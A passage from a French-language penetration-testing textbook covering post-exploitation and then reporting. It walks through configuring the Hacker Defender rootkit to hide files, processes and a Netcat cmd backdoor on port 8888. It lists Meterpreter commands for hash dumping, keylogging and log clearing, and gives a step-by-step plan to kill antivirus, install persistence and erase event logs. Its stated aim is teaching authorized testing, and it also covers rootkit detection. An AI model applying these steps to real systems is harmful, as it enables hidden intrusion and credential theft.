par le systme dexploitation, il peut simplement supprimer des
programmes, des services et des processus choisis dans la liste renvoye
lutilisateur. Cela se passe de faon instantane, sans que lutilisateur ne
constate une diffrence. Le programme fonctionne parfaitement et
affiche exactement ce que lui fournit le systme dexploitation. Le rootkit
se dbrouille simplement pour faire mentir le systme dexploitation.
Il est important de souligner quun rootkit nest pas un exploit. Il doit tre
envoy sur le systme aprs que celui-ci a t exploit. Les rootkits sont
gnralement utiliss pour masquer des fichiers et des programmes, et
pour installer des portes drobes discrtes.
Hacker Defender
Ne vous laissez pas abuser par son nom, Hacker Defender est bel et bien
un rootkit, non une solution de dfense des hackers ! Il sagit dun rootkit
Windows complet quil est relativement facile de comprendre et de
configurer. Pour vous le procurer, vous devrez faire une recherche sur
Internet. Faites simplement attention ne pas tlcharger ni installer
malencontreusement un logiciel malveillant !
Hacker Defender est constitu de trois fichiers principaux :
hxdef100.exe, hxdef100.ini et bdcli100.exe. Bien que larchive .zip
comprenne plusieurs autres fichiers, nous nous focaliserons sur ces trois-
l. hxdef100.exe correspond au fichier excutable qui lance Hacker
Defender sur la machine cible. hxdef100.ini est le fichier de
configuration dans lequel nous dfinissons les options utiliser et
recensons les programmes, fichiers et services masquer. bdcli100.exe
reprsente le logiciel client utilis pour se connecter la porte drobe
mise en place par Hacker Defender.
Aprs que nous avons tlcharg le fichier hxdef100.zip sur la cible, nous
devons en extraire le contenu. Pour simplifier, il est prfrable de crer
un dossier unique la racine du lecteur cible. Dans le cadre de cet
exemple, nous crons le dossier rk (comme rootkit) la racine du lecteur
C:\. Tous les fichiers, y compris hxdef100.zip et son contenu, doivent tre
placs dans ce dossier. Il sera ainsi plus facile deffectuer le suivi des
fichiers, doffrir un endroit centralis o dposer des outils
supplmentaires et de masquer ce dossier. Une fois lextraction termine,
nous pouvons configurer Hacker Defender en modifiant le fichier
hxdef100.ini.
Ce fichier comprend plusieurs sections. Chaque section principale
commence par un nom plac entre crochets. La Figure 7.4 montre un
exemple de fichier de configuration par dfaut.
Figure 7.4
Le fichier de configuration par dfaut de Hacker Defender.
Vous le constatez, les intituls de sections sont nombreux, avec
notamment [Hidden Table], [Hidden Processes], [Root Processes] et
[Hidden Services]. Vous noterez galement que la configuration
comprend deux entres par dfaut. Elles ont pour but de masquer les
fichiers de Hacker Defender et la porte drobe intgre. Vous navez
donc pas les modifier ni apporter des changements supplmentaires.
Puisque le fichier .ini reconnat le caractre gnrique "*", tout fichier
dont le nom commence par la lettre "hxdef" sera automatiquement inclus
dans la liste.
Partons du dbut et examinons chaque intitul. La premire section se
nomme [Hidden Table]. Les fichiers, rpertoires et dossiers recenss
dans cette section ne seront pas visibles dans lexplorateur et le
gestionnaire de fichiers de Windows. Si vous avez cr un dossier la
racine du lecteur, comme nous lavons suggr prcdemment, noubliez
pas de lajouter cette liste. Pour notre exemple, nous indiquons "rk" dans
la section [Hidden Table].
Dans la section [Hidden Processes], nous prcisons les processus et les
programmes qui devront tre cachs lutilisateur. Ils napparatront pas
dans la liste des processus en cours dexcution affiche par le
Gestionnaire des tches. Prenons un exemple non malveillant en
supposant que nous voulions masquer le programme de la calculatrice.
Pour cela, il suffit dajouter calc.exe dans la section [Hidden Processes].
Dans ce cas, lutilisateur ne sera plus en mesure dinteragir avec le
processus de la calculatrice. Aprs que le rootkit a dmarr, du point de
vue de lutilisateur, le logiciel de la calculatrice nest plus disponible sur
lordinateur.
La section [Root Processes] est utilise pour autoriser certains
programmes interagir avec les dossiers et les processus prcdemment
masqus. En effet, laide des sections prcdentes, nous retirons la
possibilit de dtecter, de voir et dinteragir avec diffrents fichiers et
programmes. Grce cette section, nous pouvons indiquer les
programmes qui auront un contrle total et qui seront donc en mesure de
voir et dinteragir avec les programmes du systme, y compris ceux
indiqus dans les sections [Hidden Table] et [Hidden Processes].
Si nous avons des programmes qui sinstalleront ou sexcuteront en tant
que services, comme un serveur FTP, un serveur web, une porte drobe,
etc., nous devons les mentionner dans la section [Hidden Services].
linstar des autres sections, celle-ci masquera chacun des services
indiqus. De nouveau, dans le Gestionnaire des tches, tout programme
mentionn dans cette section napparatra plus dans la liste des services.
La section [Hidden RegKeys] sert masquer des cls du Registre.
Quasiment tous les programmes crent des cls dans le Registre, que ce
soit au moment de leur installation ou de leur excution. Cette section
permet de camoufler ces cls. Assurez-vous de les indiquer toutes afin
dviter une ventuelle dtection.
Dans certains cas, nous avons besoin dun contrle plus fin que le simple
masquage de lintgralit de la cl. Lorsquune cl complte est absente
(ou cache), un administrateur systme comptent peut devenir
suspicieux. Pour tenir compte de cette possibilit, Hacker Defender
propose la section [Hidden RegValues]. Les informations saisies serviront
masquer des valeurs individuelles plutt que des cls compltes.
La liste donne dans la section [Startup Run] correspond aux programmes
qui seront excuts automatiquement ds le dmarrage de Hacker
Defender. Cest l o vous pouvez placer la commande Netcat si vous
souhaitez crer une porte drobe. Prenez simplement soin de le
configurer en mode coute !
Linstallation dun programme sur une machine Windows cre
automatiquement des cls et des valeurs dans le Registre, mais il occupe
galement de la place sur le disque de la cible. Un administrateur attentif
risque de remarquer linstallation dun programme qui ncessite un
espace important. Si un utilisateur dmarre son ordinateur le matin et
dcouvre que la moiti de son disque dur est soudainement utilise, il
risque de se poser des questions. Nous pouvons utiliser la section [Free
Space] pour obliger lordinateur "rajouter" la quantit despace libre
que nous avons utilise. La valeur numrique indique sera additionne
lespace rellement disponible. Autrement dit, si nous installons un
logiciel qui occupe 1 Go, nous devons indiquer la valeur 1073741824
dans la section [Free Space]. En procdant ainsi, nous rduisons le risque
dtre reprs. Notez que cette valeur est donne en octets. Si vous avez
besoin daide pour les conversions en octets, kilo-octets, mgaoctets et
gigaoctets, vous trouverez plusieurs calculatrices sur Internet.
Lorsque nous savons quels ports nous voulons ouvrir, nous pouvons les
numrer dans la section [Hidden Ports]. Elle se dcompose en entres
secondaires : TCPI:, TCPO: et UDP:. Dans la sous-section TCPI:, nous
mentionnons les ports entrants que nous voulons masquer lutilisateur.
Sils sont multiples, il suffit de les sparer par une virgule. La section
TCPO: est rserve aux ports TCP sortants, qui doivent tre masqus. La
section UDP: concerne quant elle les ports UDP.
Puisque vous avez prsent une ide de la configuration des paramtres
de base de Hacker Defender, examinons cet outil en action. Dans notre
exemple, nous installons Hacker Defender dans un dossier rk sur le
lecteur C:\. Nous y plaons galement une copie de Netcat. La Figure 7.5
illustre le fichier de configuration.
Figure 7.5
Le nouveau fichier de configuration hxdef100.ini.
Nous avons ajout quelques lignes supplmentaires la configuration par
dfaut. Plus prcisment, nous avons indiqu le dossier rk dans la section
[Hidden Table], lexcutable de Netcat dans la section [Hidden
Processes] et le dmarrage automatique de Netcat en mode serveur, avec
un shell cmd li au port 8888. Pour amliorer la discrtion, nous pouvons
galement ajouter 8888 dans la section [Hidden Ports].
La Figure 7.6 montre deux captures dcran prises avant le dmarrage de
Hacker Defender. Vous remarquerez que le dossier rk et le programme
Netcat (nc.exe) sont parfaitement visibles.
Figure 7.6
Avant lexcution du rootkit, le dossier et le programme sont visibles.
En revanche, aprs que le fichier hxdef100.exe a t excut, le rootkit
est pleinement actif. La Figure 7.7 rvle que le dossier rk et le
programme nc.exe ne sont plus vus par lutilisateur.
Figure 7.7
Aprs lexcution du rootkit, le dossier et le programme sont invisibles.
Vous le constatez, mme un simple rootkit comme Hacker Defender est
capable de masquer les fichiers. Les rootkits forment un vaste sujet et
nous pourrions aisment consacrer un ouvrage complet aux dtails
techniques, leur cration et leur fonctionnement interne. La
technologie des rootkits, comme celle de tout logiciel malveillant,
continue se dvelopper rapidement. Pour vritablement matriser les
rootkits, vous devrez commencer par approfondir vos connaissances du
noyau du systme dexploitation. Aprs que vous en aurez termin avec
les bases, nous vous conseillons fortement de pntrer dans le terrier du
lapin malveillant et de voir jusquo il peut aller.
Dtecter les rootkits et sen dfendre
Rompons avec les conventions de cet ouvrage et prenons un peu de temps
pour prsenter les stratgies de dfense contre les rootkits. Puisque nous
nous focalisons sur les bases, les dfenses contre les techniques dcrites
la section prcdente sont relativement simples :
surveiller de prs les informations mises disposition sur
Internet ;
configurer correctement le pare-feu et les listes de contrle
daccs ;
appliquer les correctifs aux systmes ;
installer et utiliser un logiciel antivirus ;
utiliser un systme de dtection dintrusion.
Cette liste est loin dtre exhaustive, mais elle constitue un bon point de
dpart pour des systmes de dfense. Cependant, malgr la mise en place
de toutes ces stratgies, les rootkits peuvent rester un danger.
Dtecter les rootkits et sen dfendre ncessitent quelques tapes
supplmentaires. Il faut tout dabord comprendre que la configuration et
linstallation dun rootkit exigent un accs de niveau administrateur. Par
consquent, la premire tape consiste abaisser les droits des
utilisateurs. Il nest pas rare de trouver des rseaux dots de machines
Windows sur lesquelles chaque utilisateur est membre du groupe des
administrateurs. En gnral, lorsquon demande pourquoi tous les
utilisateurs sont des administrateurs, lquipe informatique hausse les
paules ou donne une pitre excuse, par exemple parce quun utilisateur
doit tre administrateur pour pouvoir lancer un certain logiciel. Mais nous
ne sommes plus en 1998. Il y a bien quelques raisons valables pour que
certains utilisateurs aient les droits de ladministrateur, mais la plupart des
systmes dexploitation modernes offrent la possibilit daugmenter
temporairement les privilges laide des commandes su ou "Excuter en
tant que".
Bien que de nombreux rootkits fonctionnent au niveau du noyau et aient
la possibilit dviter toute dtection par un antivirus, linstallation,
lutilisation et la mise jour de ce logiciel sont essentielles. Certains
rootkits, en particulier les plus anciens et les moins sophistiqus, sont
parfaitement dtects et radiqus par les logiciels antivirus modernes.
Il est galement important de surveiller le trafic qui entre et sort du
rseau. De nombreux administrateurs matrisent totalement la
surveillance et le blocage du trafic qui transite par leur rseau. Ils passent
des journes et des semaines ajuster les rgles pour bloquer le trafic
entrant. En revanche, la plupart de ces administrateurs ignorent
totalement le trafic sortant. Ils se focalisent tellement sur le trafic entrant
quils en oublient dexaminer ce qui sort. La surveillance du trafic sortant
peut pourtant tre essentielle la dtection des rootkits et des autres
logiciels malveillants. Vous devez prendre le temps de vous former au
filtrage sortant (egress filtering).
Pour dtecter les rootkits et les portes drobes, une autre solution
efficace consiste scanner rgulirement les ports des systmes. Notez
chaque port ouvert sur chacun des systmes. Si vous dcouvrez un
systme avec un port ouvert inconnu, analysez la machine et identifiez le
bandit.
Des outils comme Rootkit Revealer, Vice et Blacklight de F-Secure font
partie des solutions gratuites qui permettent de rvler lexistence de
fichiers masqus et de rootkits. Malheureusement, aprs quun rootkit a
t install, il peut tre trs difficile supprimer, tout au moins
intgralement. Il faudra parfois redmarrer la machine avec un systme
dexploitation autre et monter le disque dur dorigine. En procdant ainsi,
nous pouvons examiner le disque de faon plus minutieuse. Puisque le
systme dexploitation dorigine est arrt, le logiciel de scan nutilisera
pas les API du systme infect. Nous aurons ainsi plus de chances de
dcouvrir et de supprimer le rootkit. Quoi quil en soit, la meilleure
solution est souvent deffacer le systme par un formatage intgral et de
tout rinstaller.
Meterpreter
Si vous ne deviez apprendre utiliser quune seule charge de Metasploit,
que ce soit Meterpreter. Nous avons brivement mentionn la charge
Meterpreter et lavons utilise quelques reprises dans le chapitre
prcdent. Le potentiel et la souplesse dun shell Meterpreter sont
stupfiants et poustouflants. Certes, Meterpreter nous permet de mettre
en place un hacking digne dun bon film, mais, plus important encore, ce
shell nous fournit des commandes qui permettent de passer rapidement et
facilement de la phase dexploitation celle de postexploitation.
Pour utiliser le shell Meterpreter, nous devons le slectionner comme
charge de Metasploit. Les dtails de la procdure sont donns au
Chapitre 4. Aprs avoir russi exploiter la cible et une fois que nous
disposons dun accs un shell Meterpreter, nous pouvons passer la
postexploitation. La liste des activits possibles avec Meterpreter est trop
longue pour tre dcrite intgralement, mais nous donnons au Tableau 7.1
les commandes de base et leur description. Pour comprendre la puissance
de cet outil, nous vous encourageons reprendre lexploit de votre
machine victime et excuter chacune des commandes recenses dans
ce tableau. Pour cela, il suffit de saisir la commande linvite
meterpreter >.
Tableau 7.1 : Principales commandes du shell Meterpreter
Commande Description
cat nom_fichier Affiche le contenu du fichier indiqu.
cd, rm, mkdir, rmdir
Commandes identiques celles du systme
Linux, avec les mmes rsultats.
Efface tous les vnements consigns dans les
clearev journaux Application, Systme et Scurit de la
machine cible.
download
<fichier_source>
<fichier_destination>
Tlcharge le fichier indiqu depuis la cible vers
lhte local (la machine dattaque).
edit
Lance un diteur VIM afin de modifier des
documents.
execute f
nom_fichier
Excute le fichier indiqu sur la cible.
getsystem
Demande Meterpreter dessayer daugmenter
les privilges jusquau niveau le plus lev.
hashdump
Localise et affiche les noms dutilisateurs et les
mots de passe chiffrs dfinis sur la cible. Ces
mots de passe chiffrs peuvent tre copis dans
un fichier texte et passs John the Ripper.
idletime
Affiche la dure pendant laquelle la machine est
reste inactive.
keyscan_dump
Affiche les frappes au clavier captures jusqu
prsent sur lordinateur cible. Il faut tout dabord
excuter keyscan_start.
Commence la capture des frappes au clavier sur
la victime. Pour cela, il faut migrer le shell vers
keyscan_start
le processus explorer.exe.
keyscan_stop Arrte lenregistrement des frappes au clavier.
kill id_processus
Stoppe (tue) le processus indiqu. Lidentifiant
du processus peut tre obtenu laide de la
commande ps.
migrate
Dplace le shell Meterpreter vers un autre
processus en cours dexcution. Il est
indispensable de comprendre cette commande.
ps
Affiche la liste de tous les processus en cours
dexcution sur la cible.
reboot / shutdown Redmarre ou arrte la machine cible.
screenshot
Effectue une capture dcran de la machine
cible.
search f
nom_fichier
Recherche sur la machine cible le fichier
indiqu.
sysinfo
Fournit des informations systme qui concernent
la cible, notamment le nom de lordinateur, le
systme dexploitation, le Service Pack appliqu,
etc.
upload
<fichier_source>
<fichier_destination>
Tlcharge le fichier indiqu depuis la machine
dattaque vers la machine cible.

Vous le constatez, le Tableau 7.1 numre une liste dactivits
relativement complexes, que le shell Meterpreter rend particulirement
simples. Cette seule charge nous permet deffectuer trs facilement tout
un ensemble dactivits de postexploitation, dont la migration du
processus vers un autre plus stable, la dsactivation ou larrt dun
logiciel antivirus, le tlchargement de fichiers, lexcution de fichiers, la
modification, la copie et la suppression de fichiers, laugmentation des
privilges, laffichage des mots de passe chiffrs, linstallation dun
enregistreur des frappes au clavier et leur affichage, ainsi que la prise
dune capture dcran de lordinateur cible. Nous ne les avons pas
incluses dans cette liste, mais de nombreuses autres possibilits existent,
comme le contrle de la webcam, la modification du Registre, la
modification de la table de routage de la cible, etc.
En raison de toutes ces possibilits, vous vous sentez peut-tre un peu
perdu, ou plus probablement comme un enfant dans un magasin de
bonbons. Nous donnons ci-aprs une mthodologie simplifie de
postexploitation fonde sur Meterpreter. Il est important de comprendre
que cette approche simplifie nest quune des nombreuses faons de
profiter de Meterpreter.
1. Exploiter la cible et lui envoyer la charge Meterpreter.
2. Utiliser la commande migrate pour dplacer Meterpreter
vers un processus commun, qui est toujours en cours
dexcution et dont le rle est un tantinet mystrieux. Le
processus hte pour les services de Windows (svchost.exe)
en est un parfait exemple.
3. Utiliser la commande kill pour dsactiver un antivirus.
4. Utiliser la commande shell pour disposer dune invite de
commande sur la machine cible et excuter netsh advfirewall
firewall pour modifier les paramtres du pare-feu de
Windows (afin dautoriser une connexion ou un port).
5. Aprs que lantivirus a t dsactiv, utiliser la commande
upload pour envoyer les outils indispensables, comme un
rootkit et les utilitaires dcrits dans cet ouvrage (Nmap,
Metasploit, John the Ripper, Netcat, etc.).
6. Installer le rootkit avec la commande execute -f.
7. Si le rootkit choisi ne propose pas la mise en place dune
porte drobe, installer Netcat en tant que porte drobe
permanente avec la commande execute -f.
8. Modifier le Registre laide de la commande reg afin de
rendre Netcat persistant.
9. Rcuprer les mots de passe chiffrs avec la commande
hashdump et les soumettre John the Ripper.
10. Configurer le fichier .ini du rootkit avec la commande edit
afin de masquer les fichiers tlchargs, la porte drobe et
les nouveaux ports ouverts.
11. Tester la porte drobe en crant une nouvelle connexion
depuis la machine dattaque vers la cible.
12. Effacer les journaux des vnements avec la commande
clearev.
13. Piller la machine cible ou pivoter vers la suivante.
nouveau, en raison de sa puissance et de sa flexibilit, les possibilits
de postexploitation avec cet outil sont quasi sans limite. Vous devez
passer autant de temps que possible explorer cette charge et matriser
Meterpreter.
Mettre en pratique cette phase
linstar des autres phases dcrites, la matrise des tactiques et des
techniques de postexploitation exige beaucoup de pratique. Le bon usage
des outils comme Netcat peut paratre initialement droutant, notamment
avec loption -e pour la mise en place dune porte drobe. La meilleure
manire de mettre en pratique cette fonctionnalit consiste configurer
deux machines et exprimenter lutilisation de Netcat entre elles. Plus
vous emploierez Netcat, plus vous deviendrez familier du concept.
Vous devez vous essayer lenvoi et la rception de fichiers partir de
chaque machine. Il est important de comprendre le sens des transferts et
de savoir comment employer Netcat pour les raliser dans les deux
directions. Ds que les bases de ces oprations sont acquises, vous
pouvez passer lutilisation de Netcat en tant que porte drobe.
Noubliez pas que loption -e est essentielle cette tche. Pour
parfaitement comprendre la mise en uvre dune porte drobe avec
Netcat, vous devrez savoir comment configurer loutil en mode coute
sur la cible et comment vous y connecter depuis la machine dattaque.
Testez la configuration dune porte drobe et tablissez une connexion
avec Linux et Windows. Vous devez matriser les diffrences entre ces
deux versions. Noubliez pas quune version Windows de Netcat est
capable de se connecter une version Linux, et vice versa. Toutefois,
chacune prsente des diffrences mineures au niveau des options et des
fonctionnalits.
Enfin, ds que les bases de Netcat sont acquises, passez aux
fonctionnalits labores, comme son utilisation en tant que proxy,
lexcution de shells inverss, le scan des ports, la cration et la copie de
limage dune partition disque et le chanage des instances de Netcat afin
de faire rebondir le trafic dune machine sur une autre.
Avant den terminer avec Netcat, noubliez pas de consulter les pages de
manuel et de comprendre le fonctionnement de chaque option.
nouveau, vous devrez examiner attentivement les diffrences entre les
versions Linux et Windows. Cette lecture vous fournira des informations
supplmentaires et vous permettra dimaginer des nouvelles utilisations de
loutil.
La pratique des rootkits peut tre double tranchant. Ltude et
lapprentissage de lutilisation des rootkits peuvent tre gratifiants, mais,
comme pour nimporte quel logiciel malveillant, cela comporte des
risques. Chaque fois quun logiciel malveillant est employ ou tudi, il
est possible quil infecte le systme hte. Le lecteur est fortement
encourag faire preuve dune extrme prudence lors du
tlchargement et de linstallation de nimporte quel logiciel malveillant.
Lanalyse pousse des logiciels malveillants et des rootkits sort du cadre
de cet ouvrage, et nous la dconseillons.
Si vous tes nanmoins attir par ce sujet, la mise en place dun
environnement et de machines virtuelles isols est indispensable.
Dconnectez toujours les accs extrieurs avant de travailler afin que
rien ne puisse sortir du rseau. Noubliez pas que vous tes lgalement
responsable du trafic qui sort de votre rseau. Les lois ne font pas de
diffrence entre le trafic qui est sorti par accident et celui qui a t
envoy dessein.
Dans les tests de pntration, les rootkits et les portes drobes sont
rarement un sujet abord. Nous vous recommandons de vous focaliser sur
les autres aspects avant de vous aventurer dans le monde des logiciels
malveillants.
Et ensuite
Lorsque les bases des portes drobes et des rootkits sont matrises, vous
pouvez passer ltude doutils comparables, notamment Ncat and Socat.
Ncat est une version modernise du Netcat dorigine, et il est fourni avec
le projet Nmap. Ncat constitue une amlioration de loutil initial qui inclut
plusieurs de ses fonctionnalits dorigine et ajoute la prise en charge de
SSL et dIPv6. Socat est galement un outil proche de Netcat,
parfaitement adapt la lecture et lcriture dun trafic rseau. Socat
tend aussi les fonctionnalits dorigine de Netcat en prenant en charge
SSL, IPv6 et dautres aspects labors.
Si vous vous intressez aux portes drobes, prenez le temps dtudier les
classiques, comme Netbus, Back Orifice et SubSeven (Sub7). Netbus est
un bon exemple de logiciel traditionnel de commande et de contrle.
Back Orifice, de nature comparable Netbus, permet lutilisateur de
commander et de contrler une machine distante. Ce logiciel a t
initialement dvelopp par sir Dystic en 1998. La prsentation dorigine,
intitule "Cult of the Dead Cow: The announcement of Back Orifice,
DirectXploit, and the modular ButtPlugins for BO", est disponible dans les
archives multimdias de la confrence Defcon 6.
Sub7 a t publi en 1999 par Mobman. Il opre en mode client/serveur,
la manire de Netbus et de Back Orifice. linstar des autres outils
prsents dans ce chapitre, Sub7 permet un client de contrler
distance un serveur.
Si vous voulez tendre vos connaissances sur les rootkits, vous devrez
tudier et matriser le fonctionnement interne des systmes dexploitation
modernes. Se plonger dans les dtails du noyau de systme dexploitation
va vous sembler impossible. Consacrez-y le temps ncessaire car vos
efforts seront rcompenss.
Dans ce chapitre, nous avons dcrit le rootkit Hacker Defender et avons
propos une vue densemble des fonctionnalits et de lutilisation des
rootkits. Il faut bien comprendre que nous navons fait quaborder ce
sujet. Les aspects plus avancs comprennent notamment le dtournement
des appels systme et des fonctions, ainsi que la comprhension du mode
utilisateur et du mode noyau. Acqurir de solides connaissances en
programmation systme et en langage de programmation se rvlera
galement extrmement bnfique.
En rsum
Ce chapitre sest intress aux activits de postexploitation au travers de
lutilisation et de la mise en place de portes drobes, de rootkits et du
shell Meterpreter. Noubliez pas que, avant dutiliser un rootkit ou une
porte drobe dans un test dintrusion, vous devez y avoir t
expressment autoris. Nous avons commenc par dcrire Netcat, un
outil extrmement puissant et souple. Plusieurs de ses utilisations,
notamment en tant que porte drobe, ont t illustres. Cryptcat, une
version moderne de Netcat avec la possibilit de chiffrer le trafic
chang entre deux machines, a galement t prsent. Nous avons
ensuite fait un tour densemble des rootkits, notamment de leur structure
et de leur utilisation de base. En particulier, lutilisation, la configuration
et la mise en uvre appropries de Hacker Defender ont t dtailles.
Ce chapitre a conclu par une revue des commandes de postexploitation
disponibles dans le shell Meterpreter.
8
Conclusion dun test dintrusion
Introduction
Nombreux sont ceux supposer quune fois acheves les quatre phases
dcrites dans les chapitres prcdents, le test dintrusion est termin. Les
dbutants supposent galement quaprs la fin de la phase 4 ils peuvent
simplement appeler leur client pour discuter des dcouvertes ou mme se
contenter de lui envoyer leur facture. Malheureusement, cela ne se passe
pas ainsi. En ralit, aprs les aspects techniques du test dintrusion, il
reste encore une tche raliser. Lorsque la reconnaissance, le scan,
lexploitation et le maintien de laccs sont termins, nous devons rdiger
un rapport du test dintrusion qui rsume nos dcouvertes.
Il nest pas rare que des hackers et des testeurs dintrusion sinon
extrmement talentueux ignorent totalement cette activit finale. Ces
personnes ont les comptences et les connaissances pour compromettre
quasiment nimporte quel rseau, mais elles sont incapables de
communiquer au client les vulnrabilits, les exploits et les remdes.
Par de nombreux aspects, la rdaction dun rapport de test dintrusion est
lune des tches essentielles dun hacker thique. Il ne faut pas oublier
que mieux vous faites votre travail de testeur dintrusion moins votre
client devrait le remarquer. Par consquent, la seule preuve tangible du
travail effectu sera souvent le rapport que le client recevra du testeur
dintrusion.
Le rapport du test dintrusion reprsente la vitrine de votre entreprise et
de sa rputation. Aprs que le contrat initial a t sign, avec ltendue et
les autorisations requises, le testeur dintrusion disparat de lentreprise
cible. Le test se passe ensuite dans un environnement relativement isol.
Lorsquil est termin, il est indispensable que le testeur dintrusion
prsente ses conclusions de manire rflchie, organise et facile
comprendre. nouveau, il ne faut pas oublier que, dans la plupart des
cas, lentreprise cible (celle qui vous paye) na aucune ide de ce que
vous ralisez ni du nombre dheures que vous y consacrez. Cest
pourquoi le rapport du test dintrusion devient le principal reflet de vos
comptences. Vous avez pour devoir de prsenter vos dcouvertes au
client, mais cela vous donne galement lopportunit de lui montrer votre
talent et de lui expliquer combien vous avez dpens intelligemment son
temps et son argent.
Ne sous-estimez pas limportance de cette phase. En ralit, votre travail
et votre succs seront souvent jugs en fonction non pas de votre russite
ou de votre chec compromettre un rseau mais du rapport que vous
remettrez. Votre capacit rdiger un bon rapport de test dintrusion
devrait finalement vous amener signer de nouveaux contrats.
Rdiger le rapport de test dintrusion
linstar des autres sujets dont nous avons trait, la rdaction dun bon
rapport de test dintrusion demande de la pratique. De nombreux testeurs
dintrusion pensent tort quils peuvent simplement fournir la sortie brute
des outils quils ont employs. Ils runissent les diffrentes sorties et les
organisent parfaitement dans un mme rapport. Ils collectent les
informations obtenues lors de la phase de reconnaissance et les incluent
avec la sortie de Nmap et de Nessus.
La plupart des outils dcrits dans cet ouvrage disposent dun moteur de
gnration de rapports. Par exemple, Nessus propose plusieurs rapports
prdfinis quil est possible de gnrer partir dun scan.
Malheureusement, fournir ces rapports ne suffit pas. Chaque rapport doit
tre prsent sous forme dun seul document. Associer un rapport produit
par Nessus avec celui de Nmap ou de Metasploit, tous dans des styles
diffrents, conduira un rapport global dcousu et dsorganis.
Cela tant dit, il est important de fournir la sortie dtaille de chaque outil.
Peu de clients auront la capacit de comprendre la sortie technique de
Nmap ou de Nessus, mais il ne faut pas oublier que les donnes
appartiennent au client et il est important quil puisse y avoir accs dans
leur version brute.
Nous vous avons donn plusieurs exemples de ce quil ne faut pas faire
dans un rapport de test dintrusion. Prenons le problme sous un autre
angle et expliquons ce qui doit tre fait.
En premier lieu, le rapport de test dintrusion doit tre dcompos en
plusieurs parties individuelles. Ensemble, elles formeront le rapport
global, mais chacune doit galement pouvoir tre consulte de faon
indpendante. Un rapport de test dintrusion bien prsent et structur
doit inclure au moins les parties suivantes :
une synthse ;
une description de la ralisation du test dintrusion afin
dexpliquer comment sest faite la compromission des
systmes ;
un rapport dtaill ;
les sorties brutes (si elles sont demandes) et les informations
de support.
Synthse
La synthse doit constituer une courte vue densemble des principales
conclusions. Ce document ne doit pas dpasser deux pages et ne doit
comprendre que les lments marquants du test dintrusion. La synthse
ne doit fournir aucun dtail technique ni terminologie. Elle doit tre
rdige de faon pouvoir tre lue par les directeurs et le personnel non
technique afin quils puissent comprendre vos dcouvertes et connatre
les problmes importants du rseau et des systmes.
Si des vulnrabilits et exploits ont t trouvs, la synthse doit expliquer
en quoi ces dcouvertes peuvent avoir un impact sur lentreprise. Elle
doit donner des liens et des rfrences vers le rapport dtaill afin que les
personnes intresses puissent en examiner les aspects techniques. Il ne
faut pas oublier que la synthse doit tre trs courte et rdige un
niveau lev. Il faudrait que la grand-mre du rdacteur soit capable de
comprendre ce qui a t ralis au cours du test dintrusion et de
reconnatre limportance des dcouvertes effectues. Dans cette partie
du rapport, il peut galement tre intressant de resituer ltendue et
lobjectif du test, ainsi que de donner un taux de sensibilit aux risques de
lentreprise.
Rapport dtaill
La deuxime partie dun rapport de test dintrusion digne de ce nom est le
rapport dtaill. Il comprend une liste exhaustive des dcouvertes, avec
tous les dtails techniques. Il est destin aux responsables informatiques,
aux experts en scurit, aux administrateurs rseau et toutes les
personnes qui possdent les comptences et les connaissances requises
pour lire et saisir sa nature technique. Dans la plupart des cas, ce rapport
sera employ par le personnel technique pour comprendre les dtails
rvls par votre test et pour mettre en place des solutions correctives.
Comme pour toutes les autres facettes du test dintrusion, il est important
dtre honnte et direct avec le client. Vous pourriez tre tent de mettre
en avant vos grandes comptences techniques et dexpliquer comment
vous avez compromis un service, mais il est plus important de prsenter
les faits au client, en commenant par les problmes qui font peser les
plus grands risques sur ses rseaux et ses systmes. Classer par ordre
dimportance les vulnrabilits dcouvertes pourra poser des difficults
au testeur dintrusion novice. Par chance, la plupart des outils comme
Nessus proposent un systme de classement par dfaut. Les points
critiques doivent toujours tre prsents en premier. Le test dintrusion est
ainsi plus facile lire et permet au client de ragir face aux dcouvertes
les plus srieuses (sans avoir se plonger dans lanalyse de cinquante
pages de sortie technique).
En raison de son importance, rappelons-le nouveau : il est impratif que
les besoins du client passent avant votre ego. Prenons un exemple.
Supposons que vous meniez un test dintrusion et soyez en mesure de
compromettre intgralement un serveur sur le rseau de la cible.
Cependant, aprs une analyse plus pousse, vous constatez que ce
systme na pas dintrt. Autrement dit, il ne contient aucune donne,
nest pas connect dautres systmes et ne peut pas servir de pivot pour
avancer dans le rseau. Dans la suite du test dintrusion, lun des outils
signale une vulnrabilit critique sur un routeur de primtre.
Malheureusement, aprs la lecture des informations sur la vulnrabilit et
le lancement de plusieurs outils, vous ntes pas en mesure dexploiter
cette faiblesse ni dobtenir un accs au systme. Mme si vous navez
pas t capable de pntrer sur le routeur de primtre, vous tes certain
que le systme est vulnrable. Puisque cet appareil est un routeur de
primtre, vous savez galement que sa compromission fera peser un
risque important sur lintgralit du rseau.
Bien entendu, ces deux dfauts doivent tre signals. Cependant, il faut
reconnatre que, dans ce cas, lune des failles prsente un danger plus
important que lautre. Dans une telle situation, de nombreux dbutants
pourraient tre tents de mettre en avant leurs comptences techniques
en accentuant le fait quils ont pu compromettre un serveur et en
rduisant limportance de la vulnrabilit critique car ils nont pas t
capables de lexploiter. Ne faites jamais passer votre ego avant la
scurit de vos clients. Ne tombez pas dans lexagration ; faites
simplement part de vos conclusions au mieux de vos capacits et de
manire objective. Laissez le client prendre des dcisions subjectives
partir des donnes que vous fournissez. Ne falsifiez jamais les donnes
dun test dintrusion. Ne rutilisez jamais des captures dcran qui
servent de preuve dun concept. Il pourrait tre tentant de fournir des
captures dcran qui correspondent des preuves gnriques
rutilisables, mais cette approche est dangereuse et en rien thique.
Les captures dcran servant de preuve du concept sont importantes et
doivent tre incluses dans le rapport de test dintrusion autant que
possible. Chaque fois que vous faites une dcouverte majeure ou
russissez mener bien un exploit, vous devez inclure une capture
dcran dans le rapport dtaill. Elle servira de preuve indniable et
fournira au lecteur une reprsentation visuelle de votre succs.
Il ne faut galement pas oublier, en particulier lors des premiers pas dans
cette activit, que tous les tests dintrusion ne mneront pas la
compromission de la cible. Dans la plupart des cas, le test dintrusion est
limit par des rgles artificielles qui en diminuent la ralit. Cela
comprend les demandes imposes par le client, comme ltendue, le
temps et le budget, ainsi que les contraintes juridiques et thiques qui
dfinissent les frontires du test dintrusion. Au cours de votre carrire,
vous rencontrerez sans aucun doute des situations dans lesquelles un test
dintrusion ne mnera rien : aucune vulnrabilit, aucune faiblesse,
aucune information intressante recueillie, etc. Mme dans ce cas, le
rapport du test dintrusion doit tre rdig.
Lorsque cest possible, vous devez proposer des solutions de rduction
des risques et des suggestions de correction pour les problmes
dcouverts. Certains outils, comme Nessus, suggreront des solutions. Si
les outils que vous employez nont pas de propositions faire, il est
important que vous trouviez par vous-mme des solutions ventuelles. Si
